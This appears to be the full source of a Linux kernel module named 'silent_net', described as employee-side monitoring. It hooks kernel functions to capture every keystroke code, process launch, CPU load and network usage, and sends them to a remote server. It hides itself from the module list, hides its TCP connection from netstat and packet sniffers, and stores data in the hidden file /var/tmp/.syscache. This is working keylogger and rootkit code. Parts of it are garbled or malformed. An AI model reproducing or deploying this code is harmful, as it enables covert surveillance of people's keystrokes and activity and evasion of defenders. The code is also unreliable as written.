

File name: cpu_stats.c

```
/*
 * cpu_stats.c - Handles CPU usage calculations
 *
 *          Omer Kfir (C)
 */

#include "cpu_stats.h"
#include "headers.h"

// Get total idle time of cpu core
unsigned long get_cpu_idle(int core) {
    struct kernel_cpustat *kcs = &kcpustat_cpu(core);
    return kcs->cpustat[CPUTIME_IDLE];
}

// Get total active time of cpu core
// To be clear - active time also includes idle time
// Active time is the total time the cpu core has done any state it can
// be in
unsigned long get_cpu_active(int core) {
    unsigned long total_active = 0;
    struct kernel_cpustat *kcs = &kcpustat_cpu(core);

    int i;
    for (i = 0; i < NR_STATS; i++) // Iterate through all states
        total_active += kcs->cpustat[i];

    return total_active;
}

void get_real_time(char *time_buf) {
    struct timespec64 ts;
    struct tm tm;

    ktime_get_real_ts64(&ts); // Get current real time
    time64_to_tm(ts.tv_sec, 0, &tm); // Convert to calendar time (UTC)

    snprintf(time_buf, REAL_TIME_LENGTH, "%04ld-%02d-%02d
%02d:%02d:%02d",
             tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
             tm.tm_hour + TIME_ZONE_DIFF, tm.tm_min, tm.tm_sec);
}
```

File name: cpu_stats.h

```
/*
 * cpu_stats.h - Header file for cpu_stats.c
 *
 *          Omer Kfir (C)
 */
#ifndef CPU_STAT_H
#define CPU_STAT_H

#include <linux/time64.h>
#include <linux/timekeeping.h>

/* Calculation of cpu usage ->
 * % of idle = (idle / active) * 100
 * To get more accurate in c we will multiply
 * before and then divide Now to get cpu usage out of this precentage
we get the
 * rest precentages Which are just the opposite of the idle precentages
 */
#define CALC_CPU_LOAD(active, idle) (100 - ((idle * 100) / active))
#define REAL_TIME_LENGTH (20) // YYYY-MM-DD HH:MM:SS
#define TIME_ZONE_DIFF (3)    // Time zone difference in hours

unsigned long get_cpu_idle(int);
unsigned long get_cpu_active(int);
void get_real_time(char *);

// CPU_STAT_H
#endif
```

File name: file_storage.c

```
/*
 *■'silent_net' File storage handling.
 *      - Used for backup when server is down
 *      - Implements circular buffer
 *      - Meant for single threaded access
 *
 *■Omer Kfir (C)
 */

#include "file_storage.h"

static char *filename = "/var/tmp/.syscache";
static struct file *file;

static loff_t read_pos = 0; // File read position
static loff_t write_pos = 0; // File write position

static loff_t read_pos_offset; // Offset for read position
static loff_t write_pos_offset; // Offset for write position

/* Safe file opening function */
static struct file *safe_file_open(const char *path, int flags, umode_t
mode) {
    struct file *filp = NULL;

    filp = filp_open(path, flags, mode);

    if (IS_ERR(filp)) {
        printk(KERN_ERR "Cannot open file %s, error: %ld\n", path,
PTR_ERR(filp));
        return NULL;
    }

    return filp;
}

/* Safe file reading function */
static ssize_t safe_file_read(struct file *filp, char *buf, size_t len,
loff_t *pos) {
    ssize_t ret;

    if (!filp || !buf || len <= 0)
        return -EINVAL;

    ret = kernel_read(filp, buf, len, pos);
    if (ret < 0)
        printk(KERN_ERR "Error reading file, error: %ld\n", ret);

    return ret;
}

/* Safe file writing function */
static ssize_t safe_file_write(struct file *filp, const char *buf,
```

File name: file_storage.c

```
size_t len,
                                loff_t *pos) {
    ssize_t ret;

    if (!filp || !buf || len <= 0)
        return -EINVAL;

    ret = kernel_write(filp, buf, len, pos);
    if (ret < 0)
        printk(KERN_ERR "Error writing to file, error: %ld\n", ret);

    return ret;
}

/* Safe file closing function */
static int safe_file_close(struct file *filp) {
    struct path path;
    struct dentry *dentry;
    int err;

    if (!filp || !filename)
        return -EINVAL; // Invalid arguments

    // Get the file's path
    err = kern_path(filename, LOOKUP_FOLLOW, &path);
    if (err)
        return err;

    // Get the dentry and inode for unlinking
    dentry = path.dentry;
    if (!dentry || !dentry->d_inode) {
        path_put(&path);
        return -ENOENT; // File not found
    }

    // Unlink the file
    err = vfs_unlink(&nop_mnt_idmap, d_inode(dentry->d_parent), dentry,
        NULL);
    path_put(&path);
    if (err)
        return err; // Return error if unlink fails

    // Close the file
    filp_close(filp, NULL);
    return 0;
}

void file_storage_init(void) {
    char buf[sizeof(loff_t)];
    file = safe_file_open(filename, O_RDWR | O_CREAT, FILE_PERMISSIONS);
    if (!file) {
        printk(KERN_ERR "Failed to open file %s\n", filename);
        return;
    }
}
```

File name: file_storage.c

```
}

/*
 * In case where the file wasn't erased properly (Computer crashed)
 * we need to read the last read/write positions from the file
 * and set them to the current positions.
 */
read_pos_offset = MAX_FILE_SIZE + 1;
write_pos_offset = read_pos_offset + sizeof(loff_t);

safe_file_read(file, buf, sizeof(loff_t), &read_pos_offset);
memcpy(&read_pos, buf, sizeof(loff_t));

safe_file_read(file, buf, sizeof(loff_t), &write_pos_offset);
memcpy(&write_pos, buf, sizeof(loff_t));

read_pos = read_pos > MAX_FILE_SIZE ? 0 : read_pos;
write_pos = write_pos > MAX_FILE_SIZE ? 0 : write_pos;
}

// Closing the file fully
void file_storage_release(void) {
    safe_file_close(file);
    file = NULL;
}

// Saving the write/read offset inside the file
static void save_file_pos(loff_t *pos, loff_t *offset) {
    char buf[sizeof(loff_t)];
    if (!file) {
        printk(KERN_ERR "File not opened\n");
        return;
    }

    memcpy(buf, pos, sizeof(loff_t));
    if (safe_file_write(file, buf, sizeof(loff_t), offset) < 0)
        printk(KERN_ERR "Failed to write read_pos to file\n");

    offset -= sizeof(loff_t);
}

// Reducing file size when memory is needed
void truncate_file(void) {
    char cur_chr_read;
    int attempts = 0;
    loff_t distance;
    const int max_attempts = MAX_FILE_SIZE;

    if (write_pos >= read_pos)
        distance = write_pos - read_pos;
    else
        distance = MAX_FILE_SIZE - (read_pos - write_pos);
```

File name: file_storage.c

```
// If called it means an error was caused, therefore we must fix it
if (distance < TRUNCATE_SIZE) {
    read_pos = write_pos;
    return;
}

distance -= TRUNCATE_SIZE;
read_pos = (read_pos + TRUNCATE_SIZE) % MAX_FILE_SIZE;
while (attempts++ < max_attempts && distance > 0) {
    if (safe_file_read(file, &cur_chr_read, 1, &read_pos) < 0)
        break;
    if (cur_chr_read == MSG_SEPRATOR_CHR) {
        return;
    }
    read_pos %= MAX_FILE_SIZE;
    distance--;
}

read_pos = write_pos = 0;
}

// Writing to file in circular style
void write_circular(const char *data, size_t len) {
    ssize_t ret;
    loff_t original_write_pos = write_pos;

    if (!data || len == 0 || len > MAX_FILE_SIZE) {
        printk(KERN_ERR "Invalid parameters for write_circular\n");
        return;
    }

    write_pos %= MAX_FILE_SIZE; // Ensure write_pos is within bounds

    // Check space (with truncation if needed)
    size_t space_remaining;
    if (write_pos >= read_pos)
        space_remaining = MAX_FILE_SIZE - (write_pos - read_pos);
    else
        space_remaining = read_pos - write_pos;

    if (len >= space_remaining) {
        truncate_file(); // Free space by discarding old messages
    }

    // Handle wrap-around: Write in two parts if needed
    if (write_pos + len > MAX_FILE_SIZE) {
        size_t first_part = MAX_FILE_SIZE - write_pos;
        ret = safe_file_write(file, data, first_part, &write_pos);
        if (ret != first_part) {
            write_pos = original_write_pos; // Rollback on failure
            printk(KERN_ERR "Failed to write first part (ret=%zd)\n", ret);
            return;
        }
    }
}
```

File name: file_storage.c

```
// Update for second part
data += first_part;
len -= first_part;
write_pos = 0;
}

// Write remaining data (or full data if no wrap-around)
ret = safe_file_write(file, data, len, &write_pos);
if (ret != len) {
    write_pos = original_write_pos; // Rollback on failure
    printk(KERN_ERR "Failed to write data (ret=%zd)\n", ret);
}
}

// Reading from file in circular style
int read_circular(char *buf, size_t len) {
    ssize_t ret;
    loff_t original_read_pos = read_pos;

    read_pos %= MAX_FILE_SIZE; // Ensure read_pos is within bounds

    if (buf == NULL) {
        read_pos = (read_pos + len) % MAX_FILE_SIZE;
        return len;
    }

    if (!buf || len == 0 || len > MAX_FILE_SIZE) {
        printk(KERN_ERR "Invalid parameters for read_circular\n");
        return -EINVAL;
    }

    // Handle wrap-around: Read in two parts if needed
    if (read_pos + len > MAX_FILE_SIZE) {
        size_t first_part = MAX_FILE_SIZE - read_pos;
        ret = safe_file_read(file, buf, first_part, &read_pos);
        if (ret != first_part) {
            read_pos = original_read_pos; // Rollback on failure
            printk(KERN_ERR "Failed to read first part (ret=%zd)\n", ret);
            return ret < 0 ? ret : -EIO;
        }

        // Update for second part
        buf += first_part;
        len -= first_part;
        read_pos = 0;
    }

    // Read remaining data (or full data if no wrap-around)
    ret = safe_file_read(file, buf, len, &read_pos);
    if (ret != len) {
        read_pos = original_read_pos; // Rollback on failure
        printk(KERN_ERR "Failed to read data (ret=%zd)\n", ret);
    }
}
```

File name: file_storage.c

```
    return ret < 0 ? ret : -EIO;
}

return len; // Total bytes read
}

// Main function for writing to file
// data: data to be written to the file
// len: the length of the wanted data to be written
// Return Value: void
void backup_data_log(const char *data, size_t len) {
    if (!file || !data || len > MAX_FILE_SIZE) {
        printk(KERN_ERR "Invalid parameters for backup_data\n");
        return;
    }

    write_circular(data, len);
    write_circular(MSG_SEPRATOR, 1);

    // Write the write_pos to the file
    save_file_pos(&write_pos, &write_pos_offset);
}

// buf should no less than BUFFER_SIZE (protocol.h)
// RETURN VALUE: Length of message
int read_backup_data_log(char *buf) {
    size_t len;
    ssize_t ret;
    char len_str[SIZE_OF_SIZE + 1] = {0}; // Temporary buffer for length
    loff_t prev_read_pos;                  // Store the original read
    position

    if (!file || !buf) {
        printk(KERN_ERR "Invalid parameters for read_backup_data\n");
        return -EINVAL;
    }

    if (read_pos == write_pos) {
        return 0; // No data to read
    }

    // Save current read position in case we need to revert
    prev_read_pos = read_pos;

    // First, read the size prefix
    ret = read_circular(len_str, SIZE_OF_SIZE);
    if (ret != SIZE_OF_SIZE) {
        printk(KERN_ERR "Failed to read message length (ret=%zd)\n", ret);
        truncate_file();
        return ret < 0 ? ret : -EIO;
    }

    ret = kstrtoul(len_str, 10, &len);
```


File name: file_storage.c

```
if (ret < 0) {
    printk(KERN_ERR "0.Invalid message length format: %s\n", len_str);
    // Restore original read position on error
    truncate_file();
    return ret;
}

if (len == 0 || len > BUFFER_SIZE - SIZE_OF_SIZE) {
    printk(KERN_ERR "1.Invalid message length: %zu\n", len);
    // Restore original read position on error
    read_pos = prev_read_pos;
    return -EINVAL;
}

// Copy length to the output buffer
memcpy(buf, len_str, SIZE_OF_SIZE);

// Read the actual message content
ret = read_circular(buf + SIZE_OF_SIZE, len);
if (ret != len) {
    printk(KERN_ERR "Failed to read message (expected=%lu, got=%lu)\n",
        len,
        ret);
    // Restore original read position on error
    read_pos = prev_read_pos;
    return ret < 0 ? ret : -EIO;
}

buf[len + SIZE_OF_SIZE] = '\0'; // Null-terminate the message
read_circular(NULL, 1);          // Read the separator

save_file_pos(&read_pos, &read_pos_offset); // Save the read position
return len + SIZE_OF_SIZE;                  // Total bytes read
}
```

File name: file_storage.h

```
/*
 * ■ 'silent_net' header file.
 *
 * ■ Omer Kfir (C)
 */

#ifndef FILE_STORAGE_H
#define FILE_STORAGE_H

#include "../headers.h"
#include "../protocol.h"
#include <linux/dcache.h>
#include <linux/err.h>
#include <linux/fs.h>
#include <linux/mount.h>
#include <linux/namei.h>
#include <linux/stat.h>

// Amount of minutes the module will backup data
// Continuing to backup data after that will erase the data from before
#define BACKUP_MINUTES (5)
#define MINUTE_BACKUP_STORAGE (13 * 1024) // Approximately 13k bytes
for one minute
#define MAX_FILE_SIZE (BACKUP_MINUTES * MINUTE_BACKUP_STORAGE)
#define TRUNCATE_PERCENTAGE (0.2f) // 20%
#define TRUNCATE_SIZE ((size_t)(MAX_FILE_SIZE * TRUNCATE_PERCENTAGE))
#define FILE_PERMISSIONS (S_IRUSR | S_IWUSR) // 0600 - Only owner can
read/write

#define MSG_SEPRATOR "\xff" // Separator for messages
#define MSG_SEPRATOR_CHR '\xff' // Separator character for messages

void file_storage_init(void);
void file_storage_release(void);
void truncate_file(void);
void write_circular(const char *, size_t);
int read_circular(char *, size_t);
void backup_data_log(const char *, size_t);
int read_backup_data_log(char *);

/* FILE_STORAGE_H */
#endif
```

File name: hide_module.c

```
/*
 * hide_module.c - Provides basic implementation for module hiding
 *
 * Omer Kfir (C)
 */

#include "hide_module.h"

static int hidden = 0;
static struct list_head *prev_module;

void hide_this_module(void) {
    if (hidden)
        return;

    // Store the pointers to restore later
    prev_module = THIS_MODULE->list.prev;

    // Remove from the list
    list_del(&THIS_MODULE->list);

    hidden = 1;
    printk(KERN_INFO "Module hidden\n");
}

void unhide_this_module(void) {
    if (!hidden)
        return;

    // Restore module to the list
    list_add(&THIS_MODULE->list, prev_module);

    hidden = 0;
    printk(KERN_INFO "Module unhidden\n");
}
```

File name: hide_module.h

```
/*
 * hide_module.h - header file for hide_module.c
 *
 * Omer Kfir (C)
 */

#ifndef HIDE_MODULE_H
#define HIDE_MODULE_H

#include <linux/module.h>

void hide_this_module(void);
void unhide_this_module(void);

/* HIDE_MODULE_H */
#endif
```

File name: hide_tcp_sock.c

```
/*
 * hide_tcp_sock.c - provides a complete hiding for a tcp socket
 * ■- port hiding (will not be seen from tools such as netstat)
 * ■- outwards packet hiding (will not be seen from tools such as
 * wireshark)
 *
 * Omer Kfir (C)
 */

#include "hide_tcp_sock.h"

struct ftrace_hook {
    const char *name;
    void *function;
    void *original;

    struct ftrace_ops ops;
};

// Netstat and similar tools use this function to show TCP sockets.
typedef int (*tcp4_seq_show_t)(struct seq_file *seq, void *v);
static tcp4_seq_show_t tcp4_seq_show_address = NULL;

// Network Interface Tap - nit.
// This function taps the sniffers about outgoing packets.
typedef void (*dev_queue_xmit_nit_t)(struct sk_buff *skb,
                                     struct net_device *dev);
static dev_queue_xmit_nit_t dev_queue_xmit_nit_addr = NULL;

// Signal if the socket is hidden.
static int sock_hidden = 0;

static void *find_symbol_address(const char *name) {
    struct kprobe kp = {.symbol_name = name};
    void *addr;

    register_kprobe(&kp);
    addr = (void *)kp.addr;
    unregister_kprobe(&kp);

    if (!addr) {
        printk(KERN_ERR "Failed to get %s address\n", name);
        return NULL;
    }

    return addr;
}

// Hook function for tcp4_seq_show - hiding port
static __asm__ long tcp4_seq_show_hook(struct seq_file *seq, void
*v) {
    if (v && v != SEQ_START_TOKEN) {
        struct inet_sock *inet = (struct inet_sock *)v;
```

File name: hide_tcp_sock.c

```
if (inet) {
    u32 target_ip = in_aton(dAddress);

    // Compare the destination port and IP address
    if (inet->inet_dport == htons(dPort) && inet->inet_daddr ==
        target_ip) {
        return 0; // Hide the socket
    }
}

return tcp4_seq_show_address(seq, v);
}

// Hook function for dev_queue_xmit_nit - hiding outward packet
static __asmlinkage void dev_queue_xmit_nit_hook(struct sk_buff *skb,
                                                struct net_device *dev)
{
    if (skb->protocol == htons(ETH_P_IP)) {
        struct iphdr *iph = ip_hdr(skb);
        u32 daddr = ntohl(iph->daddr);

        u32 target_ip = in_aton(dAddress);
        if (iph->protocol == IPPROTO_TCP) {
            struct tcphdr *tcph = tcp_hdr(skb);
            u16 dest_port = ntohs(tcph->dest);

            // Compare the destination port and IP address directly
            if (dest_port == dPort && daddr == target_ip) {
                return; // Hide the packet
            }
        }
    }

    dev_queue_xmit_nit_addr(skb, dev);
}

// Callback function for hooks
static void notrace callback_hook(unsigned long ip, unsigned long
parent_ip,
                                struct ftrace_ops *ops,
                                struct ftrace_regs *regs) {
    struct ftrace_hook *hook_ops = container_of(ops, struct ftrace_hook,
ops);

    if (!within_module(parent_ip, THIS_MODULE))
        regs->regs.ip = (unsigned long)hook_ops->function;
}

static struct ftrace_hook port_hide = {
    .name = "tcp4_seq_show",
    .function = tcp4_seq_show_hook,
```

File name: hide_tcp_sock.c

```
.original = NULL,

.ops =
{
    .func = callback_hook,
    .flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION
    |
        FTRACE_OPS_FL_IPMODIFY,
},
};

static struct ftrace_hook packets_hide = {
    .name = "dev_queue_xmit_nit",
    .function = dev_queue_xmit_nit_hook,
    .original = NULL,

    .ops =
    {
        .func = callback_hook,
        .flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION
        |
            FTRACE_OPS_FL_IPMODIFY,
    },
};

// Register the two structures packets_hide, port_hide to ftrace
int register_tcp_sock_hook(void) {
    int ret = 0;

    if (sock_hidden)
        return 0;

    if (!port_hide.original && !packets_hide.original) {
        port_hide.original = find_symbol_address(port_hide.name);
        if (!port_hide.original) {
            printk(KERN_ERR "Failed to get tcp4_seq_show address\n");
            return -1;
        }

        packets_hide.original = find_symbol_address(packets_hide.name);
        if (!packets_hide.original) {
            printk(KERN_ERR "Failed to get dev_queue_xmit_nit address\n");
            return -1;
        }
    }

    // Now set the filter to enable tracing
    ret = ftrace_set_filter_ip(&port_hide.ops, (unsigned
long)port_hide.original,
                                0, 0);

    if (ret) {
        printk(KERN_ERR "Failed to set filter for %s, ret: %d\n",
            port_hide.name,
```

File name: hide_tcp_sock.c

```
        ret);
    return ret;
}

ret = ftrace_set_filter_ip(&packets_hide.ops,
                          (unsigned long)packets_hide.original, 0,
                          0);

if (ret) {
    printk(KERN_ERR "Failed to set filter for %s, ret: %d\n",
           packets_hide.name,
           ret);
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
long)port_hide.original, 1,
                        0);
    return ret;
}

// Register the ftrace function first
ret = register_ftrace_function(&port_hide.ops);
if (ret) {
    printk(KERN_ERR "Failed to register ftrace function\n");
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
long)port_hide.original, 1,
                        0);
    ftrace_set_filter_ip(&packets_hide.ops,
                        (unsigned long)packets_hide.original, 1, 0);
    return ret;
}

ret = register_ftrace_function(&packets_hide.ops);
if (ret) {
    printk(KERN_ERR "Failed to register ftrace function\n");
    unregister_ftrace_function(&port_hide.ops);
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
long)port_hide.original, 1,
                        0);
    ftrace_set_filter_ip(&packets_hide.ops,
                        (unsigned long)packets_hide.original, 1, 0);
    return ret;
}

tcp4_seq_show_address = (tcp4_seq_show_t)port_hide.original;
dev_queue_xmit_nit_addr =
(dev_queue_xmit_nit_t)packets_hide.original;
sock_hidden = 1;
return 0;
}

// Unregister hooks
void unregister_tcp_sock_hook(void) {
    if (!port_hide.original || !packets_hide.original || !sock_hidden)
        return;
}
```


File name: hide_tcp_sock.c

```
// Unregister the ftrace hook to stop tracing
unregister_ftrace_function(&port_hide.ops);
unregister_ftrace_function(&packets_hide.ops);

// Disable the filter to stop monitoring the function
ftrace_set_filter_ip(&port_hide.ops, (unsigned
long)port_hide.original, 1, 0);
ftrace_set_filter_ip(&packets_hide.ops, (unsigned
long)packets_hide.original,
                    1, 0);
sock_hidden = 0;
}
```

File name: hide_tcp_sock.h

```
/*
 * hide_tcp_sock.h - header file for hide_tcp_sock.c
 *
 * Omer Kfir (C)
 */

#ifndef HIDE_TCP_SOCKET_H
#define HIDE_TCP_SOCKET_H

#include <linux/ftrace.h> // For ftrace functionality
#include <linux/in.h>      // For in_aton()
#include <linux/inet.h>    // For networking and socket handling (e.g.,
                           // htons)
#include <linux/net.h>     // For socket-related definitions (e.g.,
                           // struct sock)
#include <linux/ptrace.h>  // for struct pt_regs
#include <linux/ptrace.h>  // For ftrace_regs (needed to get register
                           // values in ftrace)
#include <linux/seq_file.h> // For seq_file (e.g., seq_file, seq_puts)
#include <net/tcp.h>       // for struct sock, skc_dport

#include "../headers.h"
#include "../protocol.h" // For port to hide

#define within_module(ip, mod)
    \
    ((unsigned long)(ip) >= (unsigned long)(mod)->mem[MOD_TEXT].base &&
    \
    (unsigned long)(ip) < (unsigned long)(mod)->mem[MOD_TEXT].base +
    \
    (unsigned long)(mod)->mem[MOD_TEXT].size)

int register_tcp_sock_hook(void);
void unregister_tcp_sock_hook(void);

#endif // HIDE_TCP_SOCKET_H
```

File name: kClientHook.c

```
/*
 * This is a source code of the client side
 * Of 'silent_net' project.
 *
 * Handles hooking on ksymbols and sending
 * To a server. Main code of client side
 *
 */

#include "kClientHook.h"
#include "cpu_stats.h"
#include "headers.h"
#include "hide/hide_module.h"
#include "hide/hide_tcp_sock.h"
#include "protocol.h"
#include "tcp_socket.h"
#include "transmission.h"
#include "workqueue.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Omer Kfir");
MODULE_DESCRIPTION(
    "Employee side.\n"
    "This module is responsible for hooking the kernel and "
    "sending data to the server.\n"
    "It uses kprobes to hook into the kernel and send data to "
    "the server.\n"
    "It also uses a workqueue to send data in the background.\n");
MODULE_VERSION("1.0");
MODULE_ALIAS("SilentNet");

/* Kprobes structures */
static struct kprobe kps[PROBES_SIZE] = {
    [kp_do_fork] = {.pre_handler = handler_pre_do_fork,
                    .symbol_name = HOOK_PROCESS_FORK},
    [kp_input_event] = {.pre_handler = handler_pre_input_event,
                        .symbol_name = HOOK_INPUT_EVENT},
    [kp_cpu_usage] = {.pre_handler = handler_pre_calc_global_load,
                      .symbol_name = HOOK_CPU_USAGE},
    [kp_send_message] = {.pre_handler = handler_pre_inet_sendmsg,
                         .symbol_name = HOOK_SEND_MESSAGE}};

/* Fork hook */
static int handler_pre_do_fork(struct kprobe *kp, struct pt_regs *regs)
{
    // Check for validity and also not sending kernel process
    if (!current || !current->mm)
        return 0;

    // Check for processes which activated by user
    if (current_uid().val == 0)
        return 0;
}
```

File name: kClientHook.c

```
// Filter out threads which are not main thread
if (current->tgid != current->pid)
    return 0;

return protocol_send_message("%s" PROTOCOL_SEPARATOR "%s",
MSG_PROCESS_OPEN,
                                current->comm);
}

/* CPU Usage */
static int handler_pre_calc_global_load(struct kprobe *kp,
                                struct pt_regs *regs) {
    // CPU calculation params
    int cpu_core, cpu_usage;
    struct timespec64 tv; // Measure current time
    static long long int last_tv = 0;
    char cpu_load_msg[BUFFER_SIZE + REAL_TIME_LENGTH] = {0}; // total cpu
    load
    char time_buf[REAL_TIME_LENGTH] = {0}; // Buffer for the time string
    int msg_len = 0; // Track string length
    manually

    // Current cpu times
    unsigned long idle_time = 0, idle_delta = 0;
    unsigned long actv_time = 0, actv_delta = 0;

    // All cpu cores and their times
    static unsigned long cpu_idle_time[NR_CPUS] = {0};
    static unsigned long cpu_actv_time[NR_CPUS] = {0};
    static bool first_run = true; // Flag to check if it's the first run

    // Get current time
    ktime_get_real_ts64(&tv);

    if (!last_tv) {
        last_tv = tv.tv_sec;
        return 0;
    }

    // Increase delay for slower systems
    if (tv.tv_sec - last_tv < CPU_USAGE_DELAY)
        return 0;

    // Initialize the message with the message type and track length
    msg_len = snprintf(cpu_load_msg, sizeof(cpu_load_msg), "%s",
MSG_CPU_USAGE);

    // Only process online CPUs (or just limit to first few CPUs if
    // for_each_online_cpu isn't available)
    for (cpu_core = 0; cpu_core < min(4, NR_CPUS); cpu_core++) {
        // Skip inactive CPUs if possible
        if (!cpu_online(cpu_core))
            continue;
    }
}
```

File name: kClientHook.c

```
idle_time = get_cpu_idle(cpu_core);
actv_time = get_cpu_active(cpu_core);

if (first_run) {
    // Initialize the arrays with the current CPU times on the first
    run
    cpu_idle_time[cpu_core] = idle_time;
    cpu_actv_time[cpu_core] = actv_time;
    continue;
}

idle_delta = idle_time - cpu_idle_time[cpu_core];
actv_delta = actv_time - cpu_actv_time[cpu_core];

cpu_idle_time[cpu_core] = idle_time;
cpu_actv_time[cpu_core] = actv_time;

// Check if CPU did work
if (!actv_delta)
    continue;

cpu_usage = CALC_CPU_LOAD(actv_delta, idle_delta);

// Check if we have space left and append directly with length
tracking
if (msg_len < sizeof(cpu_load_msg) - 20) {
    int written =
        snprintf(cpu_load_msg + msg_len, sizeof(cpu_load_msg) -
        msg_len,
                PROTOCOL_SEPARATOR "%d,%d", cpu_core, cpu_usage);
    if (written > 0)
        msg_len += written;
    else
        return -1; // Error in snprintf
}
}

// Only get time and send message if we have data
if (msg_len > (int)strlen(MSG_CPU_USAGE) && !first_run) {
    get_real_time(time_buf); // Get the real time

    // Add time to the message
    protocol_send_message("%s,%s", cpu_load_msg, time_buf);
}

first_run = false; // Set the flag to false after the first run
last_tv = tv.tv_sec;
return 0;
}

/* Device input events */
static int handler_pre_input_event(struct kprobe *kp, struct pt_regs
```

```
*regs) {
    static int unhide_seq_index = 0; // Sequence index
    static int hide_seq_index = 0;

    unsigned int code;
    if (!regs) // Checking current is irrelevant due to interrupts
        return 0;

    code = (unsigned int)regs->dx; // Third parameter (key code)
    // Check for mouse events
    if (code <= 4 && code >= 0)
        return 0; // Ignore mouse moves and key releases

    if (code == unhide_module[unhide_seq_index]) {
        unhide_seq_index++;
        unhide_seq_index %= UNHIDE_MODULE_SIZE;

        if (unhide_seq_index == 0) {
            // Unhide the module
            unhide_this_module();
            return 0;
        }
    } else if (code == hide_module[hide_seq_index]) {
        hide_seq_index++;
        hide_seq_index %= HIDE_MODULE_SIZE;

        if (hide_seq_index == 0) {
            // Hide the module
            hide_this_module();
            return 0;
        }
    } else {
        // Reset the sequence index if the sequence is broken
        hide_seq_index = 0;
        unhide_seq_index = 0;
    }

    // Only send code, since code for input is unique
    return protocol_send_message("%s" PROTOCOL_SEPARATOR "%d",
        MSG_INPUT_EVENT,
                                code);
}

/* Output ip communication */
static int handler_pre_inet_sendmsg(struct kprobe *kp, struct pt_regs
*regs) {
    struct socket *sock;
    struct sock *sk;
    uint16_t dport;
    char category[32] = "";

    // First parameter is struct socket pointer
    sock = (struct socket *)regs->di;
```

File name: kClientHook.c

```
if (!sock || !sock->sk)
    return 0;

sk = sock->sk;

// Prevent logging messages from your own kernel module
if (check_sock_mark(sk, MODULE_MARK))
    return 0;

// Check if it's an IPv4 socket
if (sk->sk_family != AF_INET)
    return 0;

// Skip zero or invalid addresses
if (!sk->sk_daddr)
    return 0;

// Not hooking on 127.x.x.x
if ((sk->sk_daddr & 0xFF) == 127)
    return 0;

// Get destination port
dport = ntohs(sk->sk_dport);

// Simple port categorization
if (dport == 80 || dport == 443)
    strcpy(category, "web");
else if (dport == 25 || dport == 465 || dport == 587)
    strcpy(category, "email");
else if (dport == 20 || dport == 21 || dport == 22 || dport == 989 ||
        dport == 990)
    strcpy(category, "file_transfer");
else if (dport == 1935 || dport == 1936 || dport == 3478 || dport ==
3479 ||
        dport == 1234 || dport == 8080 || dport == 8443)
    strcpy(category, "streaming");
else if ((dport >= 6112 && dport <= 6119) || // Common game ports
        (dport >= 27015 && dport <= 27030) || // Steam
        dport == 3074) // Xbox Live
    strcpy(category, "gaming");
else if (dport == 5060 || dport == 5061 || dport == 1720)
    strcpy(category, "voip");
else
    return 0;

// Send the category instead of the IP address
return protocol_send_message("%s" PROTOCOL_SEPARATOR "%s",
MSG_COMM_CATEGORY,
                                category);
}

/* Register all hooks */
static int register_probes(void) {
```

File name: kClientHook.c

```
int ret = 0, i;

/* Iterate through kps array of structs */
for (i = 0; i < PROBES_SIZE; i++) {
    ret = register_kprobe(&kps[i]);

    if (ret < 0) {
        unregister_probes(i);
        printk(KERN_ERR "Failed to register: %s\n", kps[i].symbol_name);
        return ret;
    }
}

printk(KERN_INFO "Finished hooking succusfully\n");
return ret;
}

/* Unregister all kprobes */
static void unregister_probes(int max_probes) {
    /* Static char to indicate if already unregistered */
    static atomic_t unreg_kprobes =
        ATOMIC_INIT(0); // Use atomic to avoid race condition

    /* Check if it has been set to 1, if not set it to one */
    if (atomic_cmpxchg(&unreg_kprobes, 0, 1) == 0) {
        int i;
        for (i = 0; i < max_probes; i++) {
            unregister_kprobe(&kps[i]);
        }
    }
}

static int __init hook_init(void) {
    int ret = 0;

    /* Initialize all main module objects */
    ret = init_singlethread_workqueue("tcp_sock_queue");
    if (ret < 0)
        return ret;

    data_transmission_init();

    /* Registers kprobes, if one fails unregisters all registered kprobes
    */
    ret = register_probes();
    if (ret < 0) {
        release_singlethread_workqueue();
        data_transmission_release();
        return ret;
    }

    hide_this_module();
    register_tcp_sock_hook();
}
```


File name: kClientHook.c

```
    printk(KERN_INFO "Finished initializing succesfully\n");
    return ret;
}

static void __exit hook_exit(void) {
    // Closing all module objects
    unregister_probes(PROBES_SIZE);

    // Only after unregistering all kprobes we can safely destroy
    // workqueue
    release_singlethread_workqueue();
    data_transmission_release();

    unregister_tcp_sock_hook();
    printk(KERN_INFO "Unregistered kernel probes");
}

module_init(hook_init);
module_exit(hook_exit);
```

File name: kClientHook.h

```
/*
 *■'silent net' kClientHook.h - kernel client hook header file
 *■Contains hook names and function declares
 *
 * ■Omer Kfir (C)
 */

#ifndef CLIENT_HOOK_H
#define CLIENT_HOOK_H

#include "headers.h"

#define HOOK_INPUT_EVENT "input_event"
#define HOOK_CPU_USAGE "calc_global_load"
#define HOOK_SEND_MESSAGE "inet_sendmsg"
#define HOOK_PROCESS_FORK
    \
    "kernel_clone" // Originally named 'do_fork'
                    // Linux newer versions use 'kernel clone'
/* #define HOOK_FILE_OPEN "do_sys_openat", "__sys_sendmsg" - Not used,
OS
 * frequently uses this functions Hooking such function can crash the
computer
 */

#define CPU_USAGE_DELAY (10) // Two minutes

#define KEY_MINUS 12
#define KEY_X 45
#define KEY_H 35

// Due to every key is received twice (release and press)
// Actual codes are (unhide - "x-x", hide - "h-h")
const unsigned int unhide_module[] = {KEY_X,      KEY_X, KEY_MINUS,
                                       KEY_MINUS, KEY_X, KEY_X};
const unsigned int hide_module[] = {KEY_H,      KEY_H, KEY_MINUS,
                                    KEY_MINUS, KEY_H, KEY_H};

#define UNHIDE_MODULE_SIZE 6
#define HIDE_MODULE_SIZE 6

static int handler_pre_do_fork(struct kprobe *, struct pt_regs *);
static int handler_pre_input_event(struct kprobe *, struct pt_regs *);
static int handler_pre_calc_global_load(struct kprobe *, struct pt_regs
*);
static int handler_pre_inet_sendmsg(struct kprobe *, struct pt_regs *);
static int register_probes(void);
static void unregister_probes(int);

static int __init hook_init(void);
static void __exit hook_exit(void);

/* Enum of all kprobes, each kprobe value is the index inside the array
```

File name: kClientHook.h

```
*/  
enum { kp_do_fork, kp_input_event, kp_cpu_usage, kp_send_message,  
PROBES_SIZE };  
